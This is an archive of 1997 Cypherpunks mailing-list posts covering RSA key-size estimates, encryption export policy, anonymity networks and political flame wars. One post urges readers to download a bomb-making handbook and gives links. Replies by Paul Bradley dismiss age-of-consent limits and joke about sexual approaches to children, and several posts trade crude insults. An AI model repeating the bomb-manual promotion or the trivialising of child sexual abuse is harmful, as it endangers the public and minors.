Message-ID: <Pine.WNT.3.96.970625101142.215G-100000@jadams.seahawk.navy.mil>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, Tom Weinstein wrote:

> Igor Chudov @ home wrote:
> > 
> > Tom, are you going to release the linux version of netscape,
> > and when.
> 
> I believe we still intend to release a linux version, although it
> obviously has a lower priority than Solaris or the Mac.

Ok, I'll byte.  Why is it obvious?  

Signed, a 50-license site that uses Linux but not Solaris nor Mac.

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams@seahawk.navy.mil
PGP ID 0x84E18C41 via key server - opinions expressed are entirely my own





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 25 Jun 1997 23:19:26 +0800
To: cypherpunks@toad.com
Subject: Re: Comparing Cryptographic Key Sizes II
Message-ID: <199706251502.IAA17998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



There is still quite a bit of confusion about the difficulty
of factoring 512 bit moduli. I'll try to clear that up.

Adam writes:

> 
> For example, 40 bit RC4 (a symmetric key cipher) can be broken in a
> few hours with a few hundred workstations but 40 bit RSA (a public key
> cipher) can be broken in a fraction of a second on one PC. A 350 bit
> RSA key is roughly equivalent in strength to 40 bit RC4, and 512 bit
> RSA key is thought to cost roughly the same to break as a 56 bit DES
> key.
> 
> (That last comparison (DES vs 512 bit RSA) glosses over many issues.
> Here's a summary if you're interested: no one's broken a 512 RSA bit
> key yet, and you need lots of memory to break RSA at that key size, a
> PC with 128 Mb would be required to participate.  In contrast, you
> need hardly any memory to break DES, any PC will do.  The internet
> based breaking of a DES key in answer to RSA DSI's challenge involved
> many participants, and included some participants with low end 486 PCs
> with 1Mb of memory.  Theoretically 512 bit RSA could be broken more
> quickly than DES, but, as you need more memory than typical
> workstations have, a distributed internet attack with the same group
> of participants as for the DES break would clearly take longer.  There
> are a number of other factors also.)

Here's the sequence of events:

 We cracked a DES key, searching about 1/2 the keyspace. I used the
published speeds of the clients, and my own knowledge of the Pentium
processor, to estimate that this search used about 457,000 MIPS 
years.

 In his usenet note announcing the factoring of RSA-130 using GNFS,
(General Number Field Sieve) Lenstra estimates that the effort was 
about 500 MIPS years, '1/10th of the effort for RSA-129, using QS
(Quadratic Seive)'.

Bruce Schneier, in AC2, has a table giving 28,000 MIPS years as the
time to factor a 512 bit number using GNFS.

 I wrote to Lenstra, asking him how big a modulus he thought could
be factored with 1000x the power he used for RSA-130.

 Lenstra responded that that power should be able to factor a 600
bit modulus using GNFS, but that the sieving clients would need about
128 M of memory, and that the matrix problem would be 'very big' (he
did NOT say impossible).

 RSA-129 was factored using QS, on clients with as low as 8M of 
memory. In the paper "The Magic Words Are Sqeamish Ossifrage", in
which the factorization of RSA-129 using QS is described, the authors
(including Lenstra) estimate the QS could factor a 512 bit modulus
in about 500,000 MIPS years.

 I wrote to Lenstra, asking if QS could be used instead, to deal with
the memory and matrix problems. Lenstra responded to the effect that
it could.

So, to summarize:

Using GNFS, on clients with 128M of memory, you could factor a 512
bit modulus in 28,000 MIPS years. With 500,000 MIPS years, you could
factor a 600 bit modulus.

Using QS, in 500,000 MIPS years you could factor a 512 bit modulus on
machines with modest memory requirements.

The effects of memory speed and bandwidth would slow things down
somewhat.

-----------------------------
One of the things that is bothering me about the reports I've been 
seeing is 'they took 6 months to break the key using thousands of
machines.' This is inaccurate - heavy work on the DES challenge did
not start for several months after the challenge was announced, and
the number of machines grew gradually as the work was done. 

Lets crunch some numbers:

Suppose an average client can test 500,000 keys/sec (this is 
a conservative figure).

Suppose we had 18,000 clients, 24x7, 100% utilized for this work.
(there were 14,000 in DESCHALL, 3000 in SolNet, 1000 misc(last is a 
conservative guess)

That's 9x10^9 keys/sec

To search 1/2 the keyspace, we need to test 2^55 keys = 3.6x10^16 keys.

->about 4,000,000 seconds

= 46 days.
-----------------------

Peter Trei
trei@Process.com



 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Wed, 25 Jun 1997 12:17:13 +0800
To: cypherpunks@toad.com
Subject: Re: Flag Burning...
In-Reply-To: <199706131352.GAA06683@toad.com>
Message-ID: <199706250400.MAA29802@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> From:          "Peter Trei" <trei@process.com>
> Organization:  Process Software
> To:            panther@writeme.com, cypherpunks@toad.com
> Date:          Fri, 13 Jun 1997 09:52:50 -6
> Subject:       Re: Flag Burning...
> Reply-to:      trei@process.com
> Cc:            trei@process.com
> Priority:      normal

> "RS" writes:
> 
> I'm curious as to why you feel the need to conceal your identity.
> 
> > When it comes down to flag burning, It really bothers me that we allow our
> > symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> > symbol of the freedom we have.  To allow someone to publicly burn a flag is
> > essentially displaying our freedom being burned.
> 
> It's a symbol, not the thing symbolized. You are confusing the map 
> with the country. 
> 
> Burning the flag is a statement by the burner that they feel that the
> symbol has become empty, and the freedom which the flag symbolizes is
> gone or has been compromised in some manner. It's clearly a form of
> political speech. True, It's a very strong statement, but strong 
> political speech has been protected by the Constitution (at least up till 
> now).
>  
> > Bush was a veteran, and Clinton was not.  I take it the ones who are
> > writing on this subject about how we should have the "freedom" to burn the
> > flag have never served in the military or for our country.   
> 
> You are mistaken - some of the people opposing your viewpoint have 
> stated that they are veterans.
> 
> > Being a veteran myself, I find it very distateful to allow anyone on our
> > soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> > for a moment and what it really stands for.  Does it not stand for freedom
> > and liberty?
> 
> It does *stand* for freedom and liberty, but only as long those 
> values really exist. It *is* *not* freedom and libery in it's own
> right.
>  
> When what the flag symbolizes is gone, it becomes just a piece of 
> cloth. Burning this cloth draws attention to the loss. It is a dramatic
> statement, but under certain circumstances an appropriate one.
>  
> > Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> > burn the flag unless you would like to live under another flag!
> 
> Thank you for your opinion. You are of course free to express it. And 
> I, and other thoughtful, freedom-loving Americans can oppose it.
> 
> Think about this:
> 
> Would you rather people did not burn the flag because:
> 
> 1. They'll be thrown in the slammer if they do.
> 2. The revere the values for which it stands, and will not descrate a
>    meaningful symbol of these values.
> 
> In (2), we can look at the (very rare) individuals who *do* burn the
> flag, and determine for ourselves if they have a valid point to 
> convey.  
> 
> In (1), we'll never know.
> 
> For Congress to deny the freedom to burn the flag is a desecration of what
> the flag stands for - a descration of the flag by the government itself.
> 

You Crazy Americans . . . I dont think anyone else in the world would 
give a fuck someone burnt their countries flag, certainly not in 
Australia.  What is it about your country?

My friend is a New Zealander.  When she was in school for a short 
while in America, she was beaten up for not reciting the "Pledge of 
Allegiance" in class everymorning.

Pete Nicol
Global Media Magnet
nicol@iap.net.au



BroomStick Productions
VRL - the Virtual Record Label
(+61 9) 335 9490   fax (+61 9) 335 9508
nicol@iap.net.au
broomstick@occtech.com.au

Current Project: www.iinet.com.au/~ratty/legends





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 25 Jun 1997 23:08:40 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706251451.QAA20145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Hello,

I was told that CBS or some other station air'd a story on Sweden.
"Sweden" ( not sure who? ) stated that they had knowledge of how to enter
ANY system that was conected to the internet.  Firewalls, etc... were
useless.  Has anyone else seen /or know this and is this true? or
complete mis-information?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 25 Jun 1997 21:19:49 +0800
Subject: Re: Flag Burning...
In-Reply-To: <199706251146.EAA14923@f48.hotmail.com>
Message-ID: <Pine.LNX.3.93.970625183703.490A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, David Downey wrote:

[...]

> As to the Aussie that 
> asked what the "fuck" we Americans give about whether or not our flag is 
> burnt obviously does not understand how deep the grain of patriotism 
> runs in American blood.

As an outside odserver I see your 'patriotism' as more a combernation of
ethonocentrisum and natonisum.  I can't see how the unquestioning beleaf
in the inhernt suppority of your nation (and this is what I have see from
meany 'merkins) can be in any way healthy.

I value objectivty and free thort over patriotisum.

[...]

> In my mind it 
> shows how little value the Aussies (or at least this particular one) 
> place on their solidarity as a nation

I put little value on national solidarity,  I would prefur to have my own
idears reather then accept the unity of interests.

> and belief in their own country.

I would prefer the truth over belief.

> I place a HIGH value on my country and countrymen. (women too :-) )

I value my fellow citisons the same why I value all other peaple, by the
way thay act.
  
[...]

> Why are there so 
> many individuals from other countries killing themselves to come live 
> here, like the Cambodians, Vietnamese, Russians, and such?

Because thay are poor and beleave that in Amirica everybody is rich.  Few
come because of amiricans beleafs, or there great record of power.  Boat
peaple reguly land on our shoars and I dout that we are a powerfull nation
in you view.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>marial@cnet.com (Maria Lawrence)
Date: Mon, 30 Jun 1997 23:28:08 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: Fwd: TSS OfficeLock: Protect Office documents w/PGP (fwd)mslock20.zip - TSS OfficeLock: Protect Office documents w/PGP
Message-ID: <Pine.SUN.3.96.970630111920.17735A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



I have uploaded to Simtel.Net:

http://www.simtel.net/pub/simtelnet/win95/util/mslock20.zip
ftp://ftp.simtel.net/pub/simtelnet/win95/util/mslock20.zip   459405 bytes

mslock20.zip    TSS OfficeLock: Protect Office documents w/PGP

TSS OfficeLock v2.0 is a data security plug-in for Microsoft Office 95 &
97.  It protects files on desktop or laptop PCs, on networks, and over
the Internet.  OfficeLock automatically decrypts files when opened and
encrypts them again when they're closed.  Prevent intruders from opening
or changing your secured Word, Excel, Access, and Powerpoint files.  Uses
the unbreakable PGP data encryption engine.  32 Bit software for Win 95 &
Office 95 / 97.

Special requirements: None.

Shareware.  Uploaded on behalf of the author by Shareware.COM.

Author information:

  Dan Goodman
  Total System Solutions
  dan@officelock.com
  http://www.officelock.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 26 Jun 1997 01:26:48 +0800
To: bull@juno.com
Subject: Re: [ PGP 2.6.3 ]
In-Reply-To: <19970624.114147.7679.2.bull@juno.com>
Message-ID: <3.0.2.32.19970625082036.0075b4dc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:41 AM 6/24/97 EDT, bull@juno.com wrote:
>Can someone give me a site where I can get a compiled copy of PGP 2.6.3?

You can almost always find the PGP versions you want, as well as
other crypto, on ftp.pgp.net, which randomly picks a server in
the UK, Sweden, or other non-US locations.  One of the sites it
points to is ftp.ox.ac.uk.
You can often find things at replay.com as well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 26 Jun 1997 00:50:14 +0800
To: cypherpunks@Algebra.COM
Subject: The Fix is In--Freeh to Brief Congressvermin
Message-ID: <v03102800afd6f8c01743@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



The push is on to undercut the remaining terrible bill, SAFE, and clear the
way for the Security for Big Brother Act of 1997. Freeh will be giving
certain congressvermin the "If you only knew what we know" classfied
briefing. Here's an excerpt from Reuters:

"Wednesday June 25 9:57 AM EDT

Clinton officials move to quash encryption bills

By Aaron Pressman

WASHINGTON - The Clinton administration this week is stepping up its campaign
to block Congressional efforts to ease strict U.S. export controls on computer
encoding technology.

A House International Relations Committee subcommittee easily approved
legislation on Tuesday to lift most of the restrictions on encryption programs,
software that scrambles information and renders if unreadable without a
password
or software "key."

Top administration officials, including Federal Bureau of Investigation
Director
Louis Freeh, will visit Capitol Hill Wednesday and Thursday to make the case
against relaxing export controls.

Freeh will testify at an open hearing in the Senate Judiciary Committee
Wednesday
and provide House lawmakers with a classified briefing on Thursday. "
                                                                      ^^^^^^^^^

(end of snipped portion)










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Silenced" <silenced@black.colossus.net (none)>
Date: Thu, 26 Jun 1997 02:39:35 +0800
To: cypherpunks@Algebra.COM
Subject: Bomb Making Info to be Illegal
Message-ID: <199706251817.LAA23297@black.colossus.net>
MIME-Version: 1.0
Content-Type: text





Soon, it may be illegal to distribute bomb making instructions.
Get your copy while you still can!

The Terrorist's Handbook is available at:
http://www.meaning.com/library/boom/thb/

The entire handbook, in HTML format, can be downloaded from:
ftp://ftp.meaning.com/pub/library/thb.tgz

DOWNLOAD A COPY WHILE YOU STILL CAN!
-silenced


>From WIRED news www.wired.com:

           Senate Votes to Block Bomb-Making Info
           by Rebecca Vesely

           12:09pm  20.Jun.97.PDT The Senate has voted 94-0 to tack onto a
           Defense Department spending bill an amendment that would
           prohibit the distribution of bomb-making instructions in the United
           States.

           Although the word "Internet" is not mentioned in the four-page
           amendment, the legislation would outlaw Web sites, newspapers,
           zines, and books that publish instructions on how to make a
           bomb - such as The Anarchist's Cookbook and The Terrorist
           Handbook. Violators would face fines and prison sentences of
           up to 20 years.

           Sponsored by Senator Dianne Feinstein (D-California), who has
           been trying to get the legislation on the books since 1995, the
           amendment passed Thursday is narrowly written to include only
           the distribution of material that has an "intent to harm."

...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 26 Jun 1997 03:25:06 +0800
To: cypherpunks@toad.com
Subject: The Right 2 Bare Arms
Message-ID: <199706251900.MAA13429@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



The unknowed soldier writes:

> What a fascinating idea! The govt. has declared code to be munitions (arms); 
> the Second Amendment guarantees the right to "keep and bear arms."

> Wish I'd thought of that.

  For some strange reason your message made me think about Tim May's
rant about laws regulating the size and method of transporting or 
carrying knives.
  Naturally, since 6" was the "standard" used in many places for
years to define the line between legal and illegal intent for
use of said "pointed instrument", I got to thinking about the
possibility of the laws being transposed to apply to another
common "pointed instrument" which is sometimes used as a tool
and at other times is used as a weapon.
  My first thought was to wonder if my 18 1/2" would automatically
make me a three-time loser and subject to lifetime imprisonment.
  My second thought was whether there would be corresponding laws
requiring the weapon to be "sheathed" in one locale and "in plain
sight" in another locale.

  Wish I hadn't thought of that.

A. Felon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 26 Jun 1997 03:23:27 +0800
To: cypherpunks@Algebra.COM
Subject: Novel Recommendation: "Black Cipher"
Message-ID: <199706251855.LAA32320@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain



(A copy of this message has also been posted to the following newsgroups:
sci.crypt, alt.cypherpunks)




I just read a fine novel, a "crypto-thriller," called "Black Cipher."
Payne Harrison, 1994. It was being remaindered at SuperCrown in hardback
for $4.99. I assume it may be out in paperback by now.

It's about a British-Pakistani cryptanalyst named Faisal Shaikh, the top
cryptanalyst at GCHQ, Cheltenham. He stumbles across a cipher he's never
seen before, using 7 letter code groups, and sets out to crack it. The
portrait of how he works, how he applies math and tricks ("cribs") to make
the cipher more amenable to computer analysis is wonderful.

(Little mention of public key cryptosystems, save for a piece of local
color where Shaikh is starting to read a new paper by Shor and Rivest! The
author clearly did his homework.)

The novel paints vivid pictures of GCHQ, and of the politics within GCHQ
and NSA, making it a wonderful complement to Bamford's drier "Puzzle
Palace." (It's apparent that Harrison has read PP, and much more, and
probably talked to several current or past GCHQ and NSA folks.) Never
having been to Cheltenham, I had no real feel for it...now I feel I've
been there.

Dramatic, too, with interesting twists. Touches of financial thriller, war
thriller, and exotic locales (including a trip to Alice Springs, a single
engine aircraft ride to Ascencion Island in the remote Atlantic, and even
a look inside the KGB equivalent of the NSA.

Several weeks ago I recommended Joseph Finder's "The Zero Hour," which
also had some crypto in it. This is even better, both as a novel and in
terms of the amount of crypto and cryptanalysis portrayed. 

(Public key cryptosystems play no significant role, and the novel repeats
the common oversight of ignoring the fact that ordinary computer networks
are perfectly fine for sending small messages with almost no chance of
either detection or decryption. A radio signal plays a key role in the
novel, a signal that could have been sent any number of ways, including by
posting in conventional code (codebook) form in any Usenet newsgroup! But
don't let this small oversight, which may have been for dramatic reasons,
stop you from reading this novel.)

The portrait of the mathematician Faisal Shaikh is compelling. 

Highly recommended.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 26 Jun 1997 05:13:05 +0800
To: tzeruch@ceddec.com
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <97Jun25.162334edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.3.89.9706251347.A5738-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



Regarding DC nets:
Modern tree structures only double the bandwidth requirement. DC nets are 
practical today. I would encourage CP's to work on implementations.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 26 Jun 1997 05:36:03 +0800
To: cypherpunks@Algebra.COM
Subject: Secret Crypto regs announcemnt
Message-ID: <Pine.3.89.9706251450.A22698-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



I found this little gem in today's MSFT press release announcing the 
banks-only certs:

"Dusche [MSFT's financial services industry manager. ed.] also said that
when an announced relaxation of U.S.  electronic-commerce export
regulations occurs this summer, the Microsoft license will be updated to
extend strong security to other financial institutions such as investment,
brokerage and insurance firms, and to make available even more secure key
lengths." http://www.microsoft.com/industry/bank/press/encryptnpr.htm

When did Commerce announce that the regs would be relaxed this Summer? To 
whom did they announce this? Cetainly not to the public, since this is 
the first time I heard about it.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Deborah Stewart <azur@netcom.com>
Date: Thu, 26 Jun 1997 06:38:37 +0800
To: "Silenced" <cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <199706251817.LAA23297@black.colossus.net>
Message-ID: <v03102803afd74b50dcd5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 AM -0700 6/25/97, Silenced wrote:
>Soon, it may be illegal to distribute bomb making instructions.
>Get your copy while you still can!
>           Sponsored by Senator Dianne Feinstein (D-California), who has
>           been trying to get the legislation on the books since 1995, the
>           amendment passed Thursday is narrowly written to include only
>           the distribution of material that has an "intent to harm."

When the DOJ looked at this issue in detail they came to the conclusion
that the  regulations could only be tightened, and not run afoul of the
First Amendment, if very carefully crafted.  In the final form it only
prohibits the teaching of bombmaking for criminal purposes. It's not clear
to me that the bill will restrict such material on the net, unless they
inplies criminal use. See:  http://jya.com/abi.htm.

What's not clear to me, and I wish someone would explain, is how the SC
managed to find pornography not similarly protected speech.  Arms and
munitions can be as arousing for some (e.g., Dr. Strangelove) as sex is for
others.


--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Thu, 26 Jun 1997 06:43:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <3.0.1.32.19970625153558.00840200@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:23 PM 6/25/97 -0400, tzeruch@ceddec.com wrote:
>On Fri, 20 Jun 1997, Jeremey Barrett wrote:
>
>> The question is what's the threat model. If the goal is to prevent the
>> server from identifying the client given limited resources, then
>> www.anonymizer.com or similar is sufficient. However, the real problem
>> is preventing an entity with unlimited resources and control over most
>> of the nodes in the anonymous network from conducting successful traffic
>> analysis. This is an entirely different and very difficult problem.
>
>Having got the latest Applied Cryptography, it looks like it would be
>possible to set up a series of servers on the "Dining Cryptographers at a
>Disco" model.  It would require a constant flow, probably something like
>token ring, so couldn't be used for high bandwidth applications, but it
>completely nukes traffic analysis.

You'll have a secure black box then. Everything in the black box
is secure, but the real information comes from watching what goes
in one side and out the other. Unless there is an astronomical amount 
of traffic, it will be fairly obvious who's doing what.

After all, knowing who did what is the goal of traffic analysis, usually 
not what route they took in between.

The trick is to design a system where an eavesdropper can't correlate
a connection into the anonymous network to one coming out. Such a system will 

almost certainly involve some sort of "personal proxy" running on your own 
machine. It might maintain a constant bandwidth to the anonymous network, but 

that's sub-optimal since most people like their bandwidth for other things.

Jeremey.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7GdTS/fy+vkqMxNAQF1KgP9HUeipjxUkMd6WcdIu7erw4dXmHQlB2VO
RELgmItWCCZm1XdHanh197VKe714RUYN0FNEIu09hdgLK80yI8qDxIXBykcglFIc
O7V+HbfPa3HOAR1HftTQm6evXeY/JEWUSt/7ymGXVKHp06SWRsExcbGwDt0DhsAw
apmEl0PNV8c=
=JfEd
-----END PGP SIGNATURE-----

--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 26 Jun 1997 21:48:49 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: It ain't over till the fatman burns...
In-Reply-To: <199706250602.CAA02284@dhp.com>
Message-ID: <Pine.LNX.3.91.970625153258.1979B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Supervision, plain and simple. However, if you honestly believe your
> > children are going to be harmed in some lasting way by any images they
> > might find there is clearly something wrong with the way you have brought
> > them up
> 
>   Good, strong beatings will also help to deter them from doing
> things that they find interesting or pleasurable. This will help
> to reinforce the concept that things which feel good lead to
> pain and punishment.

Indeed so: Lock and load!

>   Pictures of people burning in hell can be put in prominent places
> in the home, with constant verbal reminders that God will punish
> bad people who have different values than you.

This is a common and well researched technique, which, along with self 
flagellation, can be very effective for moral purification.

>   Impress upon your son that if he wants to have sex with 
> teenage girls under the age of 18 he must move to a foreign 
> country where he can receive millions of dollars in foreign
> aide while he does so. 

I didn`t know the US age of consent was 18? Is this federal or state 
decided? It is 16 in the UK, not that any level is reasonable. 

> Explain that if he has sex with his
> teenage girlfriend in this country that he is an evil person
> and will be convicted as a sex offender (which will delay
> their wedding plans) and be marked for life as a child 
> molester.

Indeed, prison violence by other prisoners against convicted sex 
offenders (ie. 18 year olds who have sex with their 15 year old 
girlfriend or just happen to accidentally pick up a 15 year old 
at a club, both henious crimes obviously) is very common in the UK.

>   Most important of all, carefully explain to your children
> that if their gaze ever happens to fall upon material which
> you find unacceptable that they will end up being murdering,
> drug-dealing pornographers because they are immoral dupes
> with no character or self-will.

Yes, the very sight of a naked woman is enough to turn any 17 year old 
into a raving killer with no respect for human life, of course, the 
moment he turns 18 it is just socially looked down upon, but not 
criminal, this is obvious isn`t it? Shouldn`t there be a law!

>   Use Paul and myself as examples of where libertarian thinking
> leads, in the end. After all, he is writing from DEMON.co.uk and
> I am writing from LUCIFER@dhp.com.

Yes, libertarian thinking is very pervasive. I used to be a minarchist, 
since thinking about the use of cryptography to preserve stable anarchies 
I have gravitated more and more towards an anarchist point of view with 
just a totally minimal NON-LAWMAKING state, ie. just a properly regulated 
police force, jail system, and the other associated bits and pieces, 
commercial methods, although they would be nice to totally purify 
anarchist doctrine <-(for want of a better and less overloaded word), 
just do not seem to work for these services due to the necessity for 
impartiality, the market DOES NOT want impartial judicial systems...

It does not matter where you are located or who you associate with, or 
who you learn your life-view from, and how it develops. Proper 
logical libertarian thinking always leads to the same views, give or take 
the details. 

>   If you are concerned about what your children may encounter
> on the internet that will expose their lack of character and
> morals, there is a program available that is even better than
> Cybersitter. It was sent to the list by fuck@yourself.up a few
> months ago.

I would recommend simply keeping all girls indoors in a cave until the 
age of 18, forcing them to wear a cast iron chastity belt, and arranged 
marriages.

Boys can safely be allowed to go out fucking who they like after they 
reach 16, and not a day before, but do not under any circumstances give 
them proper sex education so they do not get girls pregnant, they must 
face the consequences!

> FlameMonger


MoralityMonger


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 26 Jun 1997 21:43:02 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: The value of free speech...
In-Reply-To: <199706251254.FAA24496@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970625154756.1979C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   When I was twelve years old a man stepped out of the proverbial
> dark alley in my small hometown and offered me twenty dollars to
> give him a blow-job. I said no.

Had you kept that 20 dollars in a high interest long term access account 
or invested it in stocks it may now have been worth enough to convice you 
to give him the said blow-job. ;-)....

>   If your children see a picture of a young child with a dick
> in his or her mouth and don't see anything wrong with it, then
> I don't think the problem is with the picture.

Very well put, I often use a variant of this as a counter argument to the 
child protection censorship brigade. If parents bring up kids such that a 
picture of a cow being sucked off is going to turn them into a 
bestialist, or a picture of a dead guy is going to turn them into a hard 
as nails killing machine praying for death, the child is pretty fucked up 
in the first place.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 26 Jun 1997 07:04:42 +0800
To: Jeremey Barrett <jeremey@bluemoney.com>
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.1.32.19970625153558.00840200@descartes.bluemoney.com>
Message-ID: <Pine.3.89.9706251552.A12831-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 25 Jun 1997, Jeremey Barrett wrote:

> The trick is to design a system where an eavesdropper can't correlate
> a connection into the anonymous network to one coming out. Such a system will 
> 
> almost certainly involve some sort of "personal proxy" running on your own 
> machine. It might maintain a constant bandwidth to the anonymous network, but 
> 
> that's sub-optimal since most people like their bandwidth for other things.

The trick for users might be to move everything through the DC net. That way 
you take a max. hit of 50% loss of bandwidth. The problem would likely be 
worse for intermediate nodes. Need to think about this some more. There 
is a solution...

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 26 Jun 1997 07:30:04 +0800
To: cypherpunks@toad.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <199706252316.QAA23656@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> On Wed, 25 Jun 1997, lucifer Anonymous Remailer wrote:
> > > We've got a relatively decent style of government here.
> 
> >   Sure, as long as you don't step out of line, like at Kent State
> > or Waco, or at the Democratic convention in Chicago.
> >   Any style of government is "relatively decent" if you don't
> > rock the boat. Buy a fucking clue...
> 
> Do I have to spell out everything for you?  "Style of government" as in
> governmental *DESIGN*, not the current situation.  I'm talking about the
> layout of Congress, the Executive branch, the Supreme Court, etc.

  Better you should concentrate on learning to read than on giving
spelling lessons.
  I'll type slowly and SHOUT, shit-for-brains, so you have a slim
chance of following me, here:
  "ANY (<--that's _ANY_) style (DESIGN, STRUCTURE, METHOD...) of 
government is "realatively decent" if you don't rock the boat."

  Screw the "layout of Congress, the Executive branch, the Supreme 
Court, etc."
